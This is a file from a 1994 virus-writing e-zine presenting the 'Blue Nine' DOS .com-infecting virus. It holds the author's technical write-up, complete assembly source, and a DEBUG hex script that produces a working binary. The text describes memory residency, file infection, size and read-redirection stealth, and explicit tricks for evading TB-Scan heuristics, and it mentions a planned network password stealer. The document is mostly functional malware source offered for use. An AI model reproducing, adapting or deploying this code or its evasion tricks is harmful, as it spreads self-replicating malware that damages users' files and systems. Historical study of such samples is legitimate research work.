Insane Reality issue #6 - (c)opyright 1994 Immortal Riot File 014 % Blue Nine % Here is Conzouler's contribution to IR6. First, the textfile, then the source code. Blue Nine is by the a poison used in the book Neuromancer, which seem to has inspired quite a few viruswriters. Ah, just in case you wondered - TU ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ A technical discussion about the Blue Nine virus Written by: Conzouler. (Terribly serious :-) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The Blue Nine virus was born on 19:th of November 1994. It has about the same features as the Cybernetic Eel which I wrote this summer but the code is much better and it doesn't disinfect files but does instead redirect any reads from the infected areas of an infected file, this method is, quite naturally, called redirection. It also makes use of another infection engine, putting itself in the end of the infected files. This version does not have any payloads, it just reproduces and hides itself. But we are working on a Novell password stealer to add, hence the redirection, it will work on write protected network drives and disks too. We have some betas with a disk/file trasher and a joke on the 25:th of any month, but they aren't distributed. Well, that was a brief description of it, now I will go in to the details. First of all, when a program is executed it performs an installation check and checks the dos version by setting cx to 666 and issuing get dos version (int 21/ah=30). If the virus already is resident it will change cx to 444 and the virus will just restore the host program in memory and jump back to the entry point. If cx not equals 444 then the virus will check if the dos version is higher 3.30 and, if so, go resident. If the installation checks fails the go resident routine will attempt to allocate memory for the virus. First of all it has to deallocate some of the memory allocated to the host program. This is done by moving the word at cs-1:[3] to bx, subtracting the virus size from bx and issuing int21/ah=4A. Then it uses the int 21/ah=48 to allocate memory to itself. When the memory has been allocated the virus has to determine its entry point (the delta offset). To do that it fetches the word at cs:[101] which is the address of the jmp instruction that jumps to the virus entry point. Using this offset it sets ds:si to the start of the virus and es:di to the beginning of the newly allocated memory. Cx is set to the size of the virus, thus preparing for a rep movsb which will put the virus in its own allocated memory block. The rep movsb instruction is replaced by the following code: label: lodsb stosb loop label This is exactly the same as rep movsb except that it destroys al and that TB-Scan cannot find it. That means that TB-Scan does NOT emulate as Venkmann says or possibly that the emulator is awfully bad. But that doesn't matter, let's go on.. The virus will then jump to the int 21 hooking routine in the new block by subtracting the segment address by 10h to compensate for the PSP that is missing in the new block. This address and the offset of the hooking routine are pushed and a retf will jump to the new block. The next step is to hook int 21. This is done using the normal dos method, not by directly change the vectors. First it calls int 21/ax=3521 to get the original vector. It then calls int 21/ax=2521 to put itself in the vector. And now there is only one step left. It has to restore the host program. Since the original first 3 bytes of the host are saved right before the entry point (at offset 103 in our new block) it moves them to offset 100h of the host and jumps there using a retf construction similar to the one mentioned above. At this point the host program is running as usual, totally unaware of the Blue Nine hiding in the dark, just waiting for an opportunity to infect another unsuspicious program... The virus will infect any .com file that is run after the virus has gone resident. It will also infect .com files in a dir listing on a random basis (25% chance). The infection is simple and effective. The virus opens its victim, reads the first three bytes, searches to eof, appends itself and creates a jump construct at the beginning of the file pointing to the start of the virus. An infected file would look like this: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ E9 xx xx ³ <-- A jump to the virus entry point ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Host ³ <-- The original program except for the ³ program ³ first three bytes. ³ .... ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ xx xx xx ³ <-- The first three bytes of the original program ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Virus ³ <-- Guess what... ³ code... ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Now we have only the fun left, stealth... Size stealth: After a successful find first/next using fcbs (ah=11/12) the fcbfind routine will be called from the int 21 handler. First it filters out all other files but those with extension .com. It then checks if the seconds of the time field are set to 4, and if that is the case it will decrease the size field with the virus size and return to dos. If it is a .com file but the seconds don't match and the lowest 2 bits of port 41 is zero (25% chance, 41 is the timer) then the filename will be converted to a nul terminated ascii string, opened and sent to the infection routine. This will work on a dir command since Bill Gates is fucked up and uses fcbs instead of handles as recommended since dos 2.11. Since other programs like Norton uses handles I've added a similar function for the calls 4E/4F (find first/next using handles) but I haven't bothered doing an infection therein. Redirection, the innovation in this virus... The state of the art technique for avoiding checksummers and self-checkers has been disinfection. Disinfection works very fine and isn't too slow but it has one (minor) disadvantage, it doesn't work on write protected disks and it doesn't work in networks where the file are more likely to be write protected. The solution that I've created to this problem is, like boot-sector viruses, to redirect all reads from an infected area of a file. When an infected file is opened using dos function 3D (open) or 6C00 (extended open) the virus will use the internal dos call int 2F/ax=1220 which converts a handle to a number for an entry in the system file tables (sft), this number is then converted to an address to the specific sft for that file using int 2F/ax=1226. You can see exactly how this is done in the getsft routine in the virus code. The 14:th bit in the 5:th word from this address is set, marking that the file's date/time should not be set on closing. The original first three bytes of the file are read into the date/time field at offset 0D in the sft and the last byte of the date/time field is set to 31 marking that the file is to be redirected. Then the size dword at offset 11 in the sft is decreased by the size of the virus and the virus returns to the caller. Whenever this file is being read the virus will catch the 3F (read from file) call and if the offset is within the first 3 bytes of the file those will be replaced by those saved in the date/time field. The only catch with the redirection is that a file could be destroyed if something (another virus for example) appends to the file. The simple solution to this problem is to disinfect a file if a write is attempted. All interrupt, calls and data structures referred to in this article can be found in Ralph Brown's interrupt list. The sft and the memory control block are described under the dos call get list of lists (int 21/ah=52), a cookie. The int 2F/1220/1226 calls are described in separate entries in the interrupt list. Now I'm going to tell you about the TB-Fooling tricks in the Blue Nine virus. * The int 21/ax=2521 call will set the Memory resident flag. Just set ax to 2125 and perform an xchg ah,al instruction. * The rep movsb will set the Relocation flag, just do as described above. * Any write (int 21/40) will set the suspicious File access flag. You can use this code: mov ah, 40h xor 39 (or whatever) xor ah, 39 int 21h * The described 2F functions will also set the F flag. The same code works even here: mov ax, 1220h xor 4321 xor ax, 4321 int 21h * A read at cs:[101] will set the Delta offset flag, this can be avoided by pushing this word and pop it into a register. * A compare with 'MZ' will cause the Z flag (exe/com determination). Just xor both 'MZ' and the word you are checking with the same number or xchg the word and compare it with 'ZM' instead. * A push of 100h followed by ret or retf will set the Back to entry point flag. Remove by moving 100 to ax and pushing ax instead. The general method for removing a TB flag is to confuse the code a bit, xor:ing, xchg:ing, pushing/poping all works fine, just try a few times. If you cant guess where in the code a flag is you can use ';' to exclude pieces of code and see if the flag disappears, just remember that a flag can be in more than one position. That's all for this time folks... ...until next time I may have done some multipartitite... ...or maybe I'm just too lazy... - Cya - -® Conzouler ¯- ; The Blue Nine virus... (c) 94 Conzouler ; Resident in conventional memory ; Com infection on load and execute ; Com infection on 11/12 (dir for short - TU) ; Size stealth on 11/12 ; Size stealth on 4E/4F ; Infection check: seconds=4 ; Installation check: get dos version with cx=666 ; Redirection stealth on 3D/3F ; No TBScan flags (by hard heuristic as per version 6.26 - TU) .model tiny .code org 100h parasize equ ((offset virend - offset start) / 10h) + 1 bytesize equ parasize*10h Start: db 0E9h ; Near jmp to ResCheck dw 03h HostStartO db 0CDh ; Buffer to save hosthead HostStartA dw 09020h ; int20 + nop ResCheck: push ax ; Perform installation check mov ah, 30h mov cx, 666 int 21h ; Dos would set cx to 0 cmp cx, 444 ; but virus will set to 444 je RestoreHost ; if resident cmp al, 03h ; Don't go resident jb RestoreHost ; If dosver less than 3.00 Install: ; Code to place virus in memory mov bx, es ; Dec es to get MCB dec bx mov es, bx mov bx, es:[3] ; Get size of MB and dec it push cs pop es sub bx, parasize+2 mov ah, 4Ah int 21h mov ah, 48h ; Allocate MB to virus mov bx, parasize+1 int 21h dec ax ; Put MCB in es:0 mov es, ax mov word ptr es:[1], 08 ; Change owner to system push word ptr ds:[101h] ; Get delta offset pop si add si, 103h ; Get jmp pos mov di, 16h ; Move virus to new block mov cx, bytesize-6 rep movsb sub ax, 0Fh ; Jmp to new block push ax mov ax, offset InstVec push ax retf Org21: db 0EAh ; Far abs jmp o21 label Org21ofs dw ? Org21seg dw ? InstVec: ; Code to install virus in vector21 mov ax, 3521h ; Save org21 int 21h mov cs:Org21ofs, bx mov bx, es mov cs:Org21seg, bx mov ax, 2125h ; Set Vector21 xchg ah, al push ds push cs pop ds mov dx, offset Vector21 int 21h pop ds RestoreHost: mov si, ds:[101h] ; Get addr from jmp opc add si, 100h ; addr to hoststarto mov ah, ds:[si] ; Restore hosthead mov ds:[100h], ah inc si mov ax, ds:[si] mov ds:[101h], ax pop ax push ds ; Set es to host cs pop es push ds ; Save host address mov bx, 100h push bx retf icheck: ; Installation check cmp cx, 666 jne Org21 mov cx, 444 retf 2 Vector21: cmp ah, 30h ; Installation check? jne chn1 jmp icheck chn1: cmp ax, 4B00h ; Load and execute? jne chn2 call cominfect chn2: cmp ah, 11h ; find first/next (fcb)? je fff cmp ah, 12h jne chn3 fff: call dos cmp al, 0FFh je chn3 jmp fcbsearch chn3: cmp ah, 4Eh ; find first handle? jne chn4 call dos jnc found retf 2 chn4: cmp ah, 4Fh ; find next handle? jne chn5 call dos jnc found retf 2 found: jmp hdlsearch chn5: cmp ah, 3Dh ; open handle? jne chn6 call dos jnc opened retf 2 opened: jmp hdlopen chn6: cmp ah, 3Fh ; read from handle jne chnx jmp hdlread chnx: jmp Org21 ; Chain to dos db ' úù- Blue Nine Virus by Conzouler 1994 -ùú ' cominfect proc push ax push bx push cx push dx push ds mov ax, 3d82h call dos jc ciexit mov bx, ax call appendcom ciexit: pop ds pop dx pop cx pop bx pop ax ret cominfect endp appendcom proc ; infects the file handle in bx mov ax, 5700h ; Get date time call dos and cx, 0FFE0h ; Mask seconds or cx, 02h ; Set to 4 push cx ; Store date time push dx push cs ; Read head pop ds mov dx, offset HostStartO mov ah, 3Fh mov cx, 03 call dos push word ptr HostStartO pop dx xchg dh, dl cmp dx, 'MZ' ;Check if .exe je apcomexit mov dx, HostStartA ; Infection check add dx, 3 ; Seek to jmp loc xor cx, cx mov ax, 4200h call Dos mov ah, 3Fh ; Read 2 bytes mov cx, 2h mov dx, offset Start call dos mov ax, 0b450h cmp word ptr Start, ax ; infected? je apcomexit mov al, 02h ; Goto eof call fseek mov byte ptr ds:[100h], 0E9h; Assemble jmp mov ds:[101h], ax ; jmp to eof + 3 mov dx, offset HostStartO ; Append virus mov ah, 40h xor 66 xor ah, 66 mov cx, bytesize-3 call dos mov al, 00h ; Goto start call fseek mov ah, 40h xor 66 ; Write jmp xor ah, 66 mov dx, 100h mov cx, 3 call dos apcomexit: pop dx ; Set date pop cx mov ax, 5701h call dos mov ah, 3Eh ; Close file call dos ret appendcom endp fcbsearch: ; called after successful find first/next on fcb push ax push bx push cx push dx push si push di push ds push es call getdta lodsb ; extended fcb? cmp al, 0FFh jne normfcb add si, 7 normfcb: mov di, si add si, 8 ; to extension lodsw cmp ax, 'OC' ; is almost com? jne fcbnocom lodsb cmp al, 'M' ; is definitely com? jne fcbnocom add si, 0Bh ; Get time stamp lodsb and al, 1Fh ; Mask seconds cmp al, 2 ; infected? jne fcbnotinfc add si, 5 ; size-stealth sub ds:[si], bytesize-3 jmp fcbexit fcbnotinfc: ; infect file in al, 41h ; Get timer (rnd) and al, 03h cmp al, 03h jne fcbexit ; Good guy today? push cs ; Convert to asciz pop es mov si, di mov di, offset virend push di mov cx, 8 loop3: lodsb cmp al, ' ' je loopx stosb loop loop3 loopx: mov ax, 'C.' stosw mov ax, 'MO' stosw mov al, 0 stosb pop dx push es pop ds mov ax, 3D82h call dos jc fcbexit mov bx, ax call appendcom fcbnocom: fcbexit: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax retf 2 ; Back to caller hdlsearch: ; Called on successful find first/next on handle pushf push ax push cx push si push di push ds push es call getdta ; dta to es:si and ds:si mov di, si add di, 1Eh ; di to name mov cx, 9 mov al, '.' repne scasb ; scan for extension jne hdlexit xchg si, di lodsw cmp ax, 'OC' ; check if com? jne hdlexit lodsb cmp al, 'M' ; is com? jne hdlexit xchg si, di ; check date add si, 16h ; si to time lodsb and al, 1Fh ; mask seconds cmp al, 02h ; seconds=4? jne hdlexit sub word ptr [si+3], bytesize-3 ; Size stealth hdlexit: pop es pop ds pop di pop si pop cx pop ax popf retf 2 hdlopen: ; called after successful file open pushf push ax push bx push cx push dx push si push di push ds push es mov bx, ax ; Get sft number call getsft ; sft to ds:si and es:di jc hoexit add si, 28h ; extension to ds:si lodsw cmp ax, 'OC' ; is com? jne hoexit lodsb cmp al, 'M' ; sure? jne hoexit sub si, 1Eh ; check time lodsw and al, 1Fh ; mask seconds cmp al, 02h ; infected? jne hoexit add di, 05h ; Mark infection in sft or word ptr [di], 4000h add di, 0Ch ; Change size in sft mov dx, [di] sub dx, bytesize-3 xor cx, cx mov ax, 4200h call dos mov ah, 3Fh ; Load header mov dx, si sub dx, 02h mov cx, 3 call dos mov al, 0 call fseek mov byte ptr [si+1], 31 sub word ptr [di], bytesize-3 hoexit: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf retf 2 hdlread: ; called before a read from handle (3F) push si push di push es push cx push dx push ds call getsft ; check if marked in sft jc hrnoti add si, 05h lodsw and ah, 40h cmp ah, 40h ; redirect? jne hrnoti cmp byte ptr [si+9], 31 ; redirect? jne hrnoti mov ax, [si+0Eh] ; Get offset and cmp ax, 02h ; redirect only if it is ja hrnoti ; in the first 3 bytes of file mov cx, 3 ; See how many bytes to redir sub cx, ax add si, 6 ; offset to time/date field pop es ; es to buffer push cx ; save redir count mov di, dx rep movsb ; move header to buffer mov ax, 4201h ; Skip 3 bytes xor cx, cx pop dx push dx call dos pop di pop dx pop cx push dx add dx, di sub cx, di push es pop ds mov ah, 3Fh call dos add ax, di pop dx pop es pop di pop si retf 2 hrnoti: pop ds ; perform normal read pop dx pop cx pop es pop di pop si mov ah, 3Fh call dos retf 2 getdta proc push bx mov ah, 2Fh ; Get dta call dos push es ; ds:si to dta pop ds mov si, bx pop bx getdta endp fseek proc mov ah, 42h xor cx, cx xor dx, dx call dos ret fseek endp getsft proc push bx mov ax, 1220h xor 666 xor ax, 666 int 2Fh jc gsftexit cmp byte ptr es:[di], 0FFh ; Invalid handle? je gsftexit xor bx, bx ; Get sft address mov bl, es:[di] ; sft to bx mov ax, 1216h xor 666 xor ax, 666 int 2Fh jc gsftexit ; ok? push es pop ds mov si, di ; sft-address to ds:si pop bx clc ret gsftexit: pop bx stc ret getsft endp dos proc pushf call dword ptr cs:o21 ret dos endp virend: end start N bluenine.com E 100 E9 03 00 CD 20 90 50 B4 30 B9 9A 02 CD 21 81 F9 E 110 BC 01 74 67 3C 03 72 63 8C C3 4B 8E C3 26 8B 1E E 120 03 00 0E 07 83 EB 3C 90 B4 4A CD 21 B4 48 BB 3B E 130 00 CD 21 48 8E C0 26 C7 06 01 00 08 00 FF 36 01 E 140 01 5E 81 C6 03 01 BF 16 00 B9 9A 03 F3 A4 2D 0F E 150 00 50 B8 5C 01 50 CB EA 00 00 00 00 B8 21 35 CD E 160 21 2E 89 1E 58 01 8C C3 2E 89 1E 5A 01 B8 25 21 E 170 86 E0 1E 0E 1F BA A4 01 CD 21 1F 8B 36 01 01 81 E 180 C6 00 01 8A 24 88 26 00 01 46 8B 04 A3 01 01 58 E 190 1E 07 1E BB 00 01 53 CB 81 F9 9A 02 75 B9 B9 BC E 1a0 01 CA 02 00 80 FC 30 75 02 EB ED 3D 00 4B 75 03 E 1b0 E8 7D 00 80 FC 11 74 05 80 FC 12 75 0A E8 CF 02 E 1c0 3C FF 74 03 E9 08 01 80 FC 4E 75 08 E8 C0 02 73 E 1d0 10 CA 02 00 80 FC 4F 75 0B E8 B3 02 73 03 CA 02 E 1e0 00 E9 63 01 80 FC 3D 75 0B E8 A3 02 73 03 CA 02 E 1f0 00 E9 93 01 80 FC 3F 75 03 E9 F1 01 E9 58 FF 20 E 200 20 20 FA F9 2D 20 20 42 6C 75 65 20 4E 69 6E 65 E 210 20 56 69 72 75 73 20 62 79 20 43 6F 6E 7A 6F 75 E 220 6C 65 72 20 31 39 39 34 20 20 2D F9 FA 20 20 20 E 230 50 53 51 52 1E B8 82 3D E8 54 02 72 05 8B D8 E8 E 240 06 00 1F 5A 59 5B 58 C3 B8 00 57 E8 41 02 83 E1 E 250 E0 83 C9 02 51 52 0E 1F BA 03 01 B4 3F B9 03 00 E 260 E8 2C 02 FF 36 03 01 5A 86 F2 81 FA 5A 4D 74 51 E 270 8B 16 04 01 83 C2 03 33 C9 B8 00 42 E8 10 02 B4 E 280 3F B9 02 00 BA 00 01 E8 05 02 B8 50 B4 39 06 00 E 290 01 74 2E B0 02 E8 C3 01 C6 06 00 01 E9 A3 01 01 E 2a0 BA 03 01 B4 02 80 F4 42 B9 9D 03 E8 E1 01 B0 00 E 2b0 E8 A8 01 B4 02 80 F4 42 BA 00 01 B9 03 00 E8 CE E 2c0 01 5A 59 B8 01 57 E8 C6 01 B4 3E E8 C1 01 C3 50 E 2d0 53 51 52 56 57 1E 06 E8 76 01 AC 3C FF 75 03 83 E 2e0 C6 07 8B FE 83 C6 08 AD 3D 43 4F 75 4F AC 3C 4D E 2f0 75 4A 83 C6 0B AC 24 1F 3C 02 75 0A 83 C6 05 81 E 300 2C 9D 03 EB 37 90 E4 41 24 03 3C 03 75 2E 0E 07 E 310 8B F7 BF 96 04 57 B9 08 00 AC 3C 20 74 03 AA E2 E 320 F8 B8 2E 43 AB B8 4F 4D AB B0 00 AA 5A 06 1F B8 E 330 82 3D E8 5A 01 72 05 8B D8 E8 0C FF 07 1F 5F 5E E 340 5A 59 5B 58 CA 02 00 9C 50 51 56 57 1E 06 E8 FF E 350 00 8B FE 83 C7 1E B9 09 00 B0 2E F2 AE 75 1E 87 E 360 F7 AD 3D 43 4F 75 16 AC 3C 4D 75 11 87 F7 83 C6 E 370 16 AC 24 1F 3C 02 75 05 81 6C 03 9D 03 07 1F 5F E 380 5E 59 58 9D CA 02 00 9C 50 53 51 52 56 57 1E 06 E 390 8B D8 E8 D0 00 72 4A 83 C6 28 AD 3D 43 4F 75 41 E 3a0 AC 3C 4D 75 3C 83 EE 1E AD 24 1F 3C 02 75 32 83 E 3b0 C7 05 81 0D 00 40 83 C7 0C 8B 15 81 EA 9D 03 33 E 3c0 C9 B8 00 42 E8 C8 00 B4 3F 8B D6 83 EA 02 B9 03 E 3d0 00 E8 BB 00 B0 00 E8 82 00 C6 44 01 1F 81 2D 9D E 3e0 03 07 1F 5F 5E 5A 59 5B 58 9D CA 02 00 56 57 06 E 3f0 51 52 1E E8 6F 00 72 4A 83 C6 05 AD 80 E4 40 80 E 400 FC 40 75 3E 80 7C 09 1F 75 38 8B 44 0E 3D 02 00 E 410 77 30 B9 03 00 2B C8 83 C6 06 07 51 8B FA F3 A4 E 420 B8 01 42 33 C9 5A 52 E8 65 00 5F 5A 59 52 03 D7 E 430 2B CF 06 1F B4 3F E8 56 00 03 C7 5A 07 5F 5E CA E 440 02 00 1F 5A 59 07 5F 5E B4 3F E8 42 00 CA 02 00 E 450 53 B4 2F E8 39 00 06 1F 8B F3 5B B4 42 33 C9 33 E 460 D2 E8 2B 00 C3 53 B8 BA 10 35 9A 02 CD 2F 72 1C E 470 26 80 3D FF 74 16 33 DB 26 8A 1D B8 8C 10 35 9A E 480 02 CD 2F 72 07 06 1F 8B F7 5B F8 C3 5B F9 C3 9C E 490 2E FF 1E 58 01 C3 RCX 396 W Q